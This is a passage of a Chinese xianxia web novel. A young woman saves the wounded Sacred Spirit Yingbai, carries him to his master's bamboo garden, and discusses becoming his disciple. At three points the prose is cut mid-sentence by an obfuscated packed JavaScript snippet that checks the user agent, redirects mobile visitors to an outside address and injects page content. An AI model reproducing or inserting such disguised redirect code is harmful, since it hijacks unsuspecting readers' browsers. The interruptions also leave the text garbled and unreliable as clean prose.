“我之前对你说过,我要爱你,我会帮你减轻痛苦,提升幸福。我们现在不是没有生还的机会,飘渺咒是最低阶又能保我们命的方法,怎能不试?” 容珠说得心潮澎湃,体内热血滚滚,她神情坚定执着,这样的眼神无法不令应白心动。 她一次次说爱他,可说者无意,听者有心。 爱有很多种,尽管应白知道容珠对他的爱往最深层次讲也只是朋友之间的爱。她刚进漩涡之境时抱着他的腰哭哭啼啼,后来她亲口说愿意相信他,想试试不一样的人生,再后来她问“我可不可以学着爱你。” 她陪他说话,拉着他看星星,毫不犹豫地跳下悬崖再一次对他说爱他。 他的心在荒凉孤寂的漩涡之境中沉寂了四年,哦不,如今是第五年了,经不起这一次次的动心之举。 就算他想死,他也得让她活着。 他眸光涌动,拉过眼前之人,轻靠在她耳边将咒语告诉她。 容珠听后立马施咒。对生的迫切与不屈加上她修习的心法,齐齐激发出了她的潜力。 “飘渺咒!” 万般艰难之下,一圈云白色的淡淡白雾围绕在二人四周,极速下坠的身体在不知不觉间慢了下来。 二人如两朵云似的飘在半山腰间,浓墨似的天已经变成了深青色,远方的树丛散发着鬼魅般的色泽。 亲眼看见自己施咒成功,容珠难掩惊喜,满脑子都是二人得救的喜悦,浑然忘了施咒成功已经可以证明自己不是废物这个事实了。 她看着应白靠近胸膛处的羽箭,关切道:“这支羽箭充满了灵力,应白圣灵,你还能坚持吗?” 应白温柔一笑,道:“我没有灵核,这样一支充满灵力的箭射向我,只怕凶多吉少,我……” 应白感觉自己有点困,容珠的容颜在眼前变得模糊不定。 “容珠姑娘,生死有命,此刻我感到很幸福,若你执意想为我做什么,劳烦姑娘在落地后挖个土坑将我埋起,立一座空碑,面朝东,那里是我的家。” 应白没有灵核,若想救命必得有强大的灵力将羽箭拔出再救治应白,这些容珠无法做到。她心如刀绞,又一次为自己的无用而自责。 “应白圣灵,你的家在哪里?” 应白逐渐无神的双眼看向东方,远处,青色的天又淡了两分,隐隐透出黄来。他道:“东林山……幽竹园。” “……” 半个时辰后,容珠和应白飘然落地。晨光隐隐显现,清晨的湿静仿佛是另一个世界的宁静,流水潺潺,山林幽静,让人生出前世如烟的错觉。 应白躺在容珠怀里,鼻尖还有一丝微弱的呼吸。 “东林山……”容珠朝东,喃喃道,“好像在民间。” 民间,顾名思义,就是那些无天赋,无资源的人所生活的地界。那里的人种田,经商,是各大门派的衣食来源,同样也是各大门派的经济来源。 要是经商赚着钱了,要么拿钱去某派报名当弟子,要么在当地做个地头蛇蛮横一回,人各有志。 整个世界就像一个巨大的三层阶梯,民间在最底层,以五当河,穹梦山为界,渡河爬山则到了各大门派并修士们所在的修真地界,而圣灵宫便在云之颠。 飘渺咒将容珠和应白吹到了离五当河不远处的岸边,容珠想,既然应白思念家乡,要埋也应埋在那,只是眼下她是女子,而应白是一个身高体魄的男人,该怎么带他到东林山的幽竹园呢? 如果她可以御剑飞行就好了,如果…… 她什么也干不了。 她不想就这么把应白埋了,她让他靠着自己的肩膀,悲伤和心痛抑制不住地向鼻尖涌来,他的身上还有温度,到底怎么样才能救他?到底怎么样才能挽回这一切?为什么对她好的人都要永远离开她? “师妹!师妹!” 朝阳缓缓初升,容珠如梦如幻,恍惚听见有人叫自己的名字。 这声音有些熟悉,心头瞬间涌上一股后怕,容珠慌乱回头,见清晨朦胧中有一白衣绿带之人朝这边奔来。 “大师兄?” 容珠一时之间不知该警惕还是该安心。 连逸来至跟前,见容珠还活着不免又惊又喜,蹲下//身来道:“太好了师妹,你还活着。尊主要我下来找你,说活要见人,死要见尸。你从那么高的地方坠落怎么会来到五当河旁?” 当时容珠跳崖后,容江便让在场的所有弟子都离开。 “她是你的姐姐!”容江怒视容檀。 “她是废物!”容檀不明白这跟姐姐有什么关系。 随后容江让连逸去崖下找容珠。连逸到了地面后找了一圈都没发现两个人的身影,他沿着山下继续找,一路东行,最终在五当河附近远远看到了两个身影。 容珠见他眉眼的确是急切又欣喜的模样,想到当初大师兄为自己向叔叔求情的这份恩情,便说:“我用了飘渺咒。” “飘渺咒?”连逸目露震惊,“应白圣灵果真传授了功法与你?你现在的灵力已经达到低灵的水平了?” 容珠惨淡一笑:“或许是求生的意志激发了我的潜能吧。”容珠想了想,还是试探性地问连逸:“大师兄,你能帮我救救应白圣灵吗?飘渺咒是他教我的,他救了我的命,我却没有能力救他。” 要不是将手伸出探他鼻息,连逸还以为应白已经死了。 连逸看向应白的眼神灼灼发亮,容珠还以为是因为应白是圣灵的原因让连逸露出了仰慕之色,但随后他的表情有些痛苦,犹豫了一下说:“容珠,他是圣灵宫的罪人,我不能救他。 “清凌门有不少人都亲眼看见了应白,掌门非要上报圣灵宫,尊主说应白逃出漩涡之境圣灵宫不会没有察觉,我们根本解释不清应白为什么会出现在清凌门,如果清凌门因此而受到惩罚便得不偿失。 “如果真的报给圣灵宫,你也会受到牵连,你灵力低微,没有依靠,圣灵宫是不会在意你的死活的,到时候,他们说你和应白是同伙,岂不你也要遭殃?” 连逸沉吟片刻,欲言又止,想说的话在喉间一滚又咽了回去,又说:“我下山前,尊主说一定要确定你是死是活。如果你还活着,就不要再回清凌门,如果你死了,就让我把你的尸体带回去,和你父亲母亲葬在一起。” 清晨寂静,连逸的话像一颗颗小石子掷入湖面,荡起一圈又一圈涟漪。容珠木然地看着他,想起以前他从来不会跟自己说这么多话,见到自己也是能躲就躲,从不抬眼看自己。 此刻,他神情复杂,不是其他师兄师姐们看她时的不屑和嘲笑,容珠能看出里面在触动,仿佛眼神要表达的比他说的还要多。 容珠垂眸道:“大师兄,我明白。清凌门已不再是从前的清凌门,叔叔为我好,但叔叔也有女儿,叔叔让容檀当掌门定然有他的思量,清凌门需要峰回路转,而容檀向来是众弟子瞻仰之人,由她和叔叔一起掌管,清凌门定会前途无量。 “大师兄,我知你不能救应白圣灵,但你可不可以把我们带到东林山,那里是应白圣灵的家。” 容珠静静地看向东方。 连逸一直为从前躲避容珠为了不给自己招惹是非而感到愧疚,天资差不是她的错,她不是没努力过,但这是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669323|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个只看结果的世界,冰冷无情的世界,容珠被逐清凌门,可清凌门是她的家啊。 连逸想为容珠做点什么,也想为应白做点什么,因为在他心中,应白当年说的那句话一直在他心中挥之不去。 “好。” 连逸御剑飞行,让应白靠在自己身后,容珠在后面扶着应白。 路上,连逸与她说起这一年中清凌门发生的事。 得知容珠消失在清凌门山洞周围时,连逸再也无法忍受做对他而言暗无天日的环境,他不喜欢以恶待人,但又没有勇气站出来替弱者讲理,挡风雨。 从前他想当作什么都没发生,每天浑浑噩噩,不知今夕何夕地过日子,他懦弱,看重脸面,曾对容珠心生不忍,但在其他弟子一次次的语言攻击下,他没有胆量再对容珠好。 没了容珠,清凌门就是恶人集聚地。其实整个修真界,哪里不是恶人呢?连逸找到容江,恳求离开清凌门,自己独自修行。 容江没有立刻回答他是否应允,而是将他的盘算说给连逸听:让容檀当掌门,连逸辅佐。 连逸不解,一是容檀性情绝不可能听自己的话,甚至都看不上自己。二是连逸已经找不出留在清凌门的理由了。 “你为何认为离开就能过得顺心呢?”容江问,“在黑夜里行走,走到哪里都是黑的,心不明朗,就会一直迷失方向,我相信在跌倒的地方站起来比寻找火把更能照亮心境。” 容江诚心挽留,连逸最终决定再给自己一段时间。果不其然,容檀得知自己要接替清凌门掌门一职时,对着列祖列宗,全体弟子发誓,一定要在五年内让清凌门扭转乾坤。在得知父亲让连逸辅佐自己时,劈里啪啦将连逸数落的狗屁不是。 这个辅佐之人,也有贴身属下的意思。除了容檀掌门睡觉外,吃饭喝水开会训练,连逸都会形影不离地站在容檀身边。 站在容檀的角度想,连逸就是父亲在她身边安排的监督人。 清凌门因为灵阶降级一事受到了不少门派的嘲笑,水月门掌门之女水落泽在得知容檀成为清凌门掌门后,抬了几箱大礼来庆贺,其中一箱糕点中含了拉肚子药,清凌门弟子拉了三天肚子。 容檀查清此事后提着剑直冲水月门,二话不说,从看门弟子一路打到了水月门门主前。可水落泽不承认此事,容檀便说要比武定事实,若水落泽胜,那拉肚子药就不是她放的,反之,就是她放的。 众所周知,容檀灵力已至中灵,水落泽灵力也是中灵。两位都是傲视万物之人,容檀不愿清凌门受辱水落泽也不会眼看着别人打上自门派不动手,更何况灵力相当,她还有暗器傍身,谁输谁赢还说不准呢! 容檀傲娇,那水落泽也是目中无人,双双对峙下来,容檀一直处于上风。水落泽意识到情况不妙,心内对容檀早就万分嫉妒,便使用暗器想刮花她的脸,谁知容檀眼疾手快,早已从她神情动作中窥见想法。 抛向她的暗器让她一个踢脚就踢到了水落泽的腿上,容檀挥袖落地,大骂水月门是没有真本事只知耍暗器的废物。 水月门门主水照气不过爱女受伤,又说不过容檀的一张嘴,承认了投药一事。 自此,清凌门弟子更加信服仰慕容檀,而容檀为了清凌门的未来开启了魔鬼式训练,吃饭只有半个时辰,晚上睡觉是三个时辰,除此之外所有时间都在训练。 还有一些事情,关于连逸无意间看到容檀跪在她母亲碑前诉苦的事,他并没有对容珠讲,那是细枝末节的事,也是秘密之事。 一盏茶后,眼下一座被云雾环绕的青山出现在眼前。连逸携容珠、应白二人落于山脚。山算不上多么雄伟高大,想来幽竹园就在山腰间。 容珠左看看又看看,随即问连逸:“大师兄,我没看到哪里有石碑写着这座山的名字,你怎么知道这是东林山?” 连逸大步朝左前方走去,拨开草丛,搬起山石,示意容珠过来看。 容珠放下应白走上前,原来草丛山石下压着一块石碑,石碑上青苔遍布,上刻东林山三字。 13. 媳妇 “为什么把山名挡得这么严实?好像怕被谁发现似的。”容珠疑惑道。 连逸拍了拍手掌的灰尘:“民间一些想修仙的人有两种修炼途径,要么成为某个门派的弟子,要么自己找个厉害的能人拜师。通常来讲,一个门派所含的修炼体系和资源会丰富一些,有更大的机会成为中灵或者是高灵。 “但不管去哪一个门派没有足够的金钱是不行的,所以还是会有很多人选择求访能人异士,只要能学点法术,够个低灵总比当普通人好。 “但人一旦选择修仙这条路,就相当于踏进了残酷的竞争激流中,你一日比他人低贱,就一日受人屈辱践踏。有些人干脆就此放弃回到民间继续经商,而有些人不甘心。可能人异士没什么好资源,就算有也只会紧着自己用,哪有徒弟的份? “所以就有了弑师偷功一事。” “弑师偷功……”容珠大约知道是什么意思了。 弑师偷功就是用点手段将师父的灵力都吸到自己身上,虽自身要承受融合灵力之苦但却可以几日之间功力大增,可升至中灵或高灵。 但要完成这件事还需学会偷功这门技术,这种功法本来是忘恩负义,反咬一口的恶行,按理讲应该要偷藏在日光之下,在不为人知晓的地方,譬如黑市这种地方。 不过这个世界哪里都是强者为尊,弱者低贱。弱者为了挽回尊严,不甘受辱,会想尽办法,不惜一切代价学会这投机取巧的法子,好让自己一骑绝尘。因此这种功法秘籍从来都是光明正大,哪里都有卖。 “所以,许多能人异士要隐藏自己的踪迹,再不收徒,只管自己。”连逸目光望向东林山深处。 容珠心中了然,不过仍有疑问:“大师兄怎知东林山中有能人?方才看你如此熟悉地找到刻着山名的石碑所在处,莫非大师兄在进清凌门以前也拜过师?” 连逸闻言莞尔一笑,“你说的没错,我那时没钱,进不了各大门派,但不甘心做个普通人,所以就想拜人为师。但他们不愿收徒,要么说我资质差,要么说钱给的不够,后来我听闻东林山内隐居着一个能人,便找了上来。 “我拜访过后还是被他拒绝了,他说自己已经有徒弟了,不再收徒,但给我算了一卦,说往东南方向游历会有意外收获。临走时,他叫我将山脚刻着山名的石碑遮住,希望以后不要有人再找上来了。” 容珠讶然,后面的事她大概已经猜到了,“我只知大师兄是父亲看好带回来的人,没想到竟还隐藏着这么一番因由。” 连逸面上浮起一层暖笑,他抬头望着东南方向道:“容山掌门对我有恩,他说我资质佳,没有收取过多的银钱就让我进了清凌门修习。我十分珍惜这次机会,发誓定然不负容山掌门期望,也为了不辜负自己。” 说到此处,容珠下意识去看了一下连逸的额间。连逸的额间没有任何印记,不是因为他什么都不是,而是圣灵宫赐予的印记是可以想显现就显现,想不显现就不显现的。 几乎没人不彰显印记,因为这是证明自己实力的象征。从前清凌门是低灵时,弟子们额间的印记就低灵之黄,后来升了中灵,便是中灵之蓝。不知从什么时候开始,连逸隐藏了自己的印记,容珠不知道为什么,也不过问。 清凌门内同样隐藏印记的还有叔叔容江,他仿佛从来没有显现过,容珠一直不确定她这个叔叔到底是什么灵阶。 “大师兄,你很厉害的,不然也不会是清凌门的大师兄啊。”容珠笑道。 门派之内,弟子们按灵力高低划分顺序,灵力相对高者是大师兄,其次便往后排。 连逸没有说话,眉间锁着淡淡心事。良久,他转头说:“天亮了。”他顿了顿接着道:“我过去总在纠结,想帮你又不敢帮你,一开始我很想当一个修炼者,可渐渐的,我发现自己不知道修炼的意义是什么,变强只是为了变强吗?” 连逸垂眸,“师妹,我为自己从前对你的态度表示抱歉。我心中仍有许多困惑之事不得解,答应尊主继续留在清凌门也是给自己最后一次机会,若我还是没能找到答案,我会义无反顾地离开清凌门,游历山川也好,隐居世外也好……” 他没有继续说下去。 这一声抱歉让容珠内心震惊无比,她看着眼前的大师兄,此刻他的眼神流露着迷茫之色,周身环绕着颓废之气,他好像很无助,但又夹杂着一丝丝的坚定。 她忽然想到刚进漩涡之境时,应白问她:“你真的认为人与人之间除了强弱之分,就没有别的相处方式吗?” “你有没有想过“强者为尊,弱者低贱”的规则违背了世间规律,因为永远都有弱者存在,而上天创造了弱者是为了让强者施展爱的力量,却被后人曲解为强者可肆意践踏……” 就在这一刹那,体内热血中仿佛有一股激流在急速扩散,涌入颅顶,一个无比清醒的想法在容珠眼前显现。 她眼神清冽奕奕,好像终于想明白了什么事,看透了一面墙。她对连逸道:“大师兄,谢谢你,你是个很优秀的人,我父亲认可你,我叔叔也认可你。我相信,每个人的存在都有意义,我和你各有一条路要走,希望我们都能在路上找到心中困惑的答案。” 连逸怔然站在原地呆呆地看着她,隐隐在品味这句话的意思。 容珠扶起地上的应白,而后道:“大师兄,就此别过,后会有期。” 连逸眼神木讷,前一晚的问题又在他脑海中生出:为什么容珠会和应白在一起?为什么应白要传授容珠功法?为什么应白就要被抓?他干了什么? 连逸对着那一步一停的两个身影出神了好久,良久才自言自语道:“师妹,后会有期。” 幽竹园坐落在东林山深处,这里景如其名,硕大挺俊的竹子错落生长,竹叶成荫,不辨日月。容珠扶着应白一步一步,分外艰难地行走,实在累得不行,刚坐下来缓一缓,忽听一个极虚弱的声音在耳边断断续续地响起。 容珠意识到是应白在说话,忙侧耳倾听。他的双眼仍在闭着,许是无力睁开。声音虽然虚弱不堪,但竹林僻静,却也听得真真切切:“容珠姑娘……” 容珠大喜:“应白圣灵,你一定要坚持住,前面就是幽竹园了,你想不想看看自己的家?” 应白脑袋垂在容珠肩上,有气无力,说得极慢:“不……不要……把我……带回家……我……没脸……” 应白似是没有力气了。这话说得不完整,容珠没打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669324|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算深究,现在只想让应白坚持住,想了想便说:“应白圣灵,你不是一直想让我拜你为师吗?我们做个约定好不好,一会儿我去请人救你,你要是活下来了我就拜你为师。怎样?” 应白眉头紧皱,半天没有声响,容珠心内焦急,不能再耽搁了。她起身将应白扶起,继续往前如蜗牛般前行。 “容珠……姑娘,不要拜我为师……我不当……不当你师父……” 应白一字一句说得跟蚊子哼哼似的,可在容珠听来却心惊无比,她忙道:“不是你一直问我要不要拜师吗?怎么现在又反悔了?是你说我灵核特别,资质聪颖的,我要拜你为师,学更多本事,你不可以出尔反尔,你要对我负责啊……” 应白:“……” 容珠急得恨不能当下背着应白飞过去,可她只能一步一步朝前走,这竹林到底有多大,怎么还没到幽竹园? 忽然,四面八方刮来阵阵风声,竹林摇晃,竹叶纷飞,一道苍老浑厚的声音凌空乍现:“何人来我幽竹园?” 容珠想这人一定是在东林山隐居的能人了,她冲着天空道:“前辈,我叫容珠。应白圣灵说东林山幽竹园是他的家,他命不久矣,恳请前辈能否救一救应白圣灵?” 那老头儿冷声道:“应白早已被关漩涡之境,你小小丫头片子妄图欺骗我,到底有何居心,速速说明!” “不是的前辈,应白圣灵已经出来了,其中因由复杂,非一两句解释得清,我没有多少灵力,不会对前辈造成威胁,还请前辈现身,应白圣灵就在这里!” 风声并没有停止,那老头儿也不再讲话。没过多久,忽然一阵力道袭来,像绳索般卷起应白,“嗖”一下就拉走了。 容珠在原地等了一会儿,风终于听了,竹林恢复了幽静。她试探性地往前走,一直走,一直走,直到看见一座园林,破烂的牌匾上写着:幽竹园。 幽竹园里还是竹子,不过这些竹子没有外头那般粗壮,在阳光下微微晃着竹叶,不远处有一片种满了小青菜的田地,流水旁栽种一颗桃花树,走过桥便是一座屋舍。 应白正躺在地上,有个白衣老头在他身旁半蹲着,他如树皮般褶皱的手正源源不断地散发着灵力,胡子与衣衫融为一体,无法辨别那垂在应白身上的究竟是衣裳还是胡子。 容珠见状,焦急的心终于落石安定。她细细端详着这位老头儿,猜想这个人是应白的师父还是他爹。 在漩涡之境的时候应白只提过师父,结合大师兄所说的东林山一事,容珠猜测这个老头儿应当就是应白的师父。 她在一旁呆站着,看那老头儿小心翼翼地将羽箭拔出扔在一旁,应白随即闷哼一声。 “你是他媳妇?” 老头儿问了一个问题,容珠还沉浸在应白的痛苦中,猛然间听到问话,待细细揣摩后失色道:“不不不,我不是他媳妇。” “你是他徒弟?” 容珠:“……不是。” 老头儿抬头,手中的灵力仍继续在应白身上运作,他的眼睛几乎要被眉毛遮盖得严丝合缝,容珠一点也看不到他的目光。 “不是他媳妇也不是他徒弟,那他为什么要把我传授给他的心法教给你?” 14. 倒茶 容珠惊得合不拢嘴。她还以为这老头儿只顾专心致志给应白疗伤,竟不知何时已探出她的灵力,连练的什么心法都知道! 老头儿的双眸虽被眉毛遮盖,但仍遮挡不住底下散发的幽厉目光,“心法是我一手所创,自己生的孩子自己还不认得么?” 容珠认为此言有理,不过心法是应白当初说要教她的,想证明她不是废物,若眼前这位老头儿真是应白的师父,那应白便是没经过师父同意就把心法传给了外人,这位老头儿会不会因为秘法泄露而一气之下杀了她? 容珠刚刚死里逃生,想了想还是说:“是……应白决定的,他醒了,您还是问他去吧。” 老头儿脑袋一偏,似乎在琢磨着什么。一盏茶后,他收手探查,对着应白的身体嘀咕道:“好在有心法保护,不然这样一只箭非得要了你的命。” 容珠往前挪了一步道:“前辈,应白圣灵无碍了吗?” 老头道:“估计得睡一会儿。” 他起身往田地走去,那里有个小木凳,他坐了下来,开始择菜…… 一把把小油菜嫩绿油亮,在竹筐里齐齐排好。容珠观察了一会儿确认老头儿的确是在择菜而不是在采草药,她问:“那个……前辈……应白圣灵就躺在这儿吗?” 老头儿继续挖小油菜,“躺地上就行,晒晒太阳,好得快些。” 容珠没听过这种治伤方法,但看应白的确脸色苍白,胸膛微微起伏,想来晒晒太阳有助于他恢复血色。 “他怎么离开漩涡之境的?”老头儿边择菜边问。 “不知道。”容珠的确不知道,总不可能是她拉着他出来看流星然后应白就离开漩涡之境了吧? 老头儿:“他怎么中箭的?” 容珠道:“清凌门掌门本来是射我的,但应白圣灵把我推开,他就中箭了。” “废物!”老头儿猛地一呵斥,容珠一听废物下意识以为在说自己,又听老头儿继续呵斥:“不自量力!他为什么要救你?” 容珠:“不知道。” “你们为什么会在清凌门?” 容珠想了想,“可能因为漩涡之境里的景象就是清凌门,我们意外出来了,然后就真的在清凌门,被人发现,就发生这些事了。” 老头儿疑问:“你也在漩涡之境?” 容珠:“嗯。” “你为什么会在漩涡之境?” “不知道。”容珠实话实讲,但见那老头儿回头,一双浓密细长的眉毛散发出一丝质疑,终是叹了一口气,不再问了。 他将竹筐拿起对容珠道:“丫头,你把这菜拿到那边洗洗。” 田地对面是溪流,容珠走过去接过竹筐蹲在溪边,她拿起一片锃亮绿油的菜叶子陷入沉思。 她从前只管吃,从没有洗过菜,连洗菜做饭的人都很少见到,因为弟子们是不会去后厨这样乱糟油污之地,洗菜伙计和厨娘们这些没有修炼天赋,没有金钱背景的人也不配观赏清凌门,他们只能待在厨房周围那一小方天地中,每日就是洗菜,做饭,盛饭,刷碗。 做好的饭盛在容器中一一罗列摆在台面上,到点了弟子们进饭堂自己打饭开吃,厨娘伙计们则在门后吃饭,他们不配见修炼之人,修炼之人也嫌弃他们污眼。 容珠忽然想到蔬菜瓜果也是世间生灵,以后除了吃饭还要学会种菜,既有索取那便要付出。 老头儿见她双手举着片叶子在那发呆,不由地问:“丫头,你不会洗菜?” 容珠摇摇头,老头儿道:“算了,你还是坐着吧。” 容珠只好起身坐在院子里,日上三竿,应白的身子被太阳晒得暖和和的,脸已经恢复了血色,看起来就像是睡着了般。 身处异地,在人屋下,容珠不免有些手足无措,坐也坐不安稳,想想自己活了十七年,灵力灵力没长进,从前衣食住行都是现成的,现在离了清凌门岂不是都没有自理能力?自己怎么会这么无能啊…… 火堆上的茶炉开水了,咕嘟咕嘟冒着滚滚白烟,容珠灵机一动,道:“前辈,我可以给你倒茶喝!” 说着她起身走到桌前,拿起一方白帕,垫在茶炉提手上,倒了杯水又对老头儿道:“前辈,我给您倒了杯茶,来喝一口吧。” 老头儿没有回头,只顾用锄头松土,好似笑道:“应白也不知带了个什么丫头回来,什么也不会,什么也不懂。”他嘟嘟囔囔地好像在跟自己说话,容珠只知他在说话却听不清在说什么。 “哎丫头!你让我喝你倒的茶是出于什么因由啊?” “喝茶……还有因由?”难道有什么礼节还是内涵她不知道? 老头儿忽然客气道:“来者是客,你把应白及时送回来救了他的命,丫头,你就安心坐着吧,等应白醒了,我再问他。” 这话听得容珠云里雾里,但她能感觉到自己这茶倒得也不对,为避免再出洋相添乱,容珠起身走到椅子旁,静静地坐着。 幽竹园僻静得好像连呼吸都可以听见,这里风景如画,与山水相伴,似乎昨夜的危机是梦一场。 午时,阳光下的应白终于缓缓睁开眼,刺眼的阳光让他一时之间以为自己到了极乐世界,待发觉视线中有一人影时,他静静看了好久。 那人坐在椅子上,手拿几根狗尾巴草百无聊赖地玩着。她脸蛋莹润白皙,长睫似扇,一双眸子似阳光下闪烁的灵石。 “容珠?” 一声轻轻地呼唤,少女顿住手上动作,侧头对上应白眼眸的一刹那,应白的心从没有跳得如此快过。 “应白圣灵,你醒啦?你没事了知道吗?你没死!” “我没死……”应白重复着她的话,他脑子有些不太清醒,还以为容珠也去了极乐世界。 “这是哪……”应白欲起身,当看到更广阔的景象时,他想问的问题被自己的意识扼制在了喉咙里。 竹林,桃花,小桥,流水,有一个白衣老头儿坐在田地旁,拿着小锄头在给花儿移栽。 从他学艺下山到成为圣灵再到被关入漩涡之境直至如今,已经过去七年了,竟觉像过了七百年,与他又何止七年未见。 应白喉头哽咽,二人仿佛心有灵犀,老头此刻回过头来,应白难以抑制心中情感,颤声道:“师父……” 这一声称呼道尽说者思念,令听者倍感心酸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669325|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛有一道微弱却强劲的风穿过幽竹园,打破了多年的僻静,在这一刻尽数喧哗。 老头儿像个石墩子似的僵在那儿,半晌才开口:“应白,你可知错?” 应白胸前的伤口还在隐隐作痛,脸上只见悲伤不见痛楚,他跪在地上答:“徒儿知错。” “徒儿受师父教导,立志要做一个真正的人,却到底没能参透做人的意义,自以为是一个合格的人,以为自己是对的,妄图拿仁爱教化众人,扬言天下人错,当初只觉世人皆醉独我醒,现在想来是世人皆正常,独我在疯癫。 “强者为尊,弱者低贱并非是一方势力造就的规则,而是这个世界千百年来创立的思想。徒儿应当探索背后因由,找出世界之所以如此邪恶的源头,再尝试能否改变。 “徒儿少不更事,一意孤行,只为证明自己是对的,此举已是恶意,没有领悟仁爱的意思,愧对师父教导,如今离开漩涡之境,又受师父救命之恩,实在无颜再面对师父。” 应白恍惚记得中箭后最后的几丝朦胧记忆就是听容珠说他们已经到了东林山。当时心头一股难言之情如同一只手掌在揉搓着自己的心,十分难受。 记得幼时随这个从头到脚一身白的老爷爷学艺时,东林山幽竹园便是他的第二个家,向来是徒弟孝敬师父,怎么他却在一次次的给师父找麻烦? 此刻他就像个犯了错的孩子等待父母亲责罚。容珠对老头儿这般突如其来的严厉有些意外,对应白的反省感到茫然,世界规则到底该怎样,爱与恶孰对孰错? 双方静默许久,老头儿轻轻叹了声气:“应白,你的任务还没有完成,不管怎样,你的脚步不能停,人生的际遇有很多,未来如何,谁都说不准。” 应白将师父的话在心中揣摩后道:“徒儿明白。” “好啦,”老头儿起身,抬手指了一下容珠,“没有这个丫头,我也救不了你。应白,你跟我说说,你跟这丫头是什么关系?” 应白正要开口就听师父补充道:“你把心法教给了她,要说没有关系,我是不信的。” 应白喉间一滚,道:“是互相认识的关系。” “什么?”老头儿像个耳朵不太好的老人,侧着头没听清楚似的询问。 见应白一副犹豫模样,老头儿道:“我且问你,你将来打算干什么?” 应白不明所以,道:“去寻找世界邪恶的原因。” “那这姑娘跟你一起吗?” 应白低垂着目光看向容珠。 清凌门回不去,容珠已立志要去找人生的意义,且应白先前在清凌门崖边还对着一众清凌门人士说要传授自己本领,容珠当然不能错过这个机会。 “应白圣灵,我想和你一起。” 应白神色忧虑,似乎不想如此。 老头儿意味深长地摸了摸自己长可及地的胡须说:“那你不能让这丫头毫无身份地跟着你呀。” 应白不确定师父这话是何意,只是听来顿觉浑身上下生出一股没来由的紧张感。容珠意识到这是个拜师的好机会,于是说:“应白圣灵,你说要把你一身的本事都教给我,不如我现在就拜你为师吧?” 15. 拜师 应白的心绪忽上忽下,对上容珠那一双清澈明亮的眼眸时,一时之间连半个字都讲不出来。 拜师…… 之前他的确有这个想法,一开始是别有用心,后来想证明自己没有看错容珠,渐渐又对她生出了怜悯之心。 他的每一个想法都是放大了自己而看轻了对方。 容珠从不是一个外表柔弱的女子,她的潜意识里有思想,有决心,只是被过往身边每个人的恶意和压力压制住了她的天性。 她的人生不该被恶意包围,应该有更好的前路在等着她,她不能当自己的徒弟,不能有一个被天下人唾弃谩骂的疯子师父。 更何况他私自逃离漩涡之境,相当于是逃犯了,还是全天下头号重犯。 应白在心里摇了摇头,其一是不愿当容珠的师父,其二是对自己在漩涡之境的所作所为十分看不起。自己在漩涡之境关了四年都没能真正领悟爱的意思,还想站在自己的角度企图拿仁爱唤醒对方,容珠说她选择相信自己,她的本质何其单纯真诚。 容珠不懂爱,那时的这句话却给足了他爱意,也因为跟容珠的相处,应白才意识到从前自己的处事方式是错的。要想改变一件事,不是把自己认为的灌输在上面,而是深挖力掘,找到造成这样结果的最初原因,再想办法解决。 好比一棵树结了满树的坏果,光给果子撒药是不行的,树本身才是问题源头。 应白有些自责,从容珠说相信他的那一刻开始,他已经把这个少女诱拐了。信任何其重要,一个人把信任赠予别人,就是把自己完完全全给了对方。 “应白圣灵,你要对我负责啊……” 容珠扶他时说的话此刻蓦地在应白脑海中出现,应白斟酌再三才说:“容珠姑娘,你多次救我于困境,我心中不胜感激,要说拜师,从前我的确很希望你答应做我的徒弟,不过那时我根本没有想过会出漩涡之境,我只是太寂寞了,好不容易有一个人来陪我,我一想确定你有天赋,二是不想让你离开我。 “可是现在情况不一样了,我离开了漩涡之境,还不确定圣灵宫的人知不知道。如果他们知道,一定会再把我抓回去,如果你是我的徒弟你就会无端受牵连,甚至有性命危险,对你来讲,何其不公? “如果他们不知道,那等我伤好以后,我要四处游历,去寻找我们所在的世界和天外天的奥秘。我始终认为,爱才是人身上该具备的品质,是与妖魔的根本区别。我想,探索善与恶是我这一辈子要做的事,世界之大,人各有志,你如果有梦想,也该去试着追寻,若做我徒弟,你岂不受限?” 应白自觉亏欠容珠,又道:“容珠姑娘对我有救命之恩,我自愿将所习得的功法传授给姑娘,姑娘不必拜我为师。” 不拜师……容珠颇为意外地看着应白。虽然应白教给她的心法她只学了个表层,还不能证明她不是废物,可坠崖时她成功使出了飘渺咒,那是她生平第一次用自己的灵力成功用出一个咒法,这已能证明她有进步了! 如果她想拜应白为师是为了继续修习,那应白方才已经说要自愿教给他功法,怎么自己并不觉得开心呢? 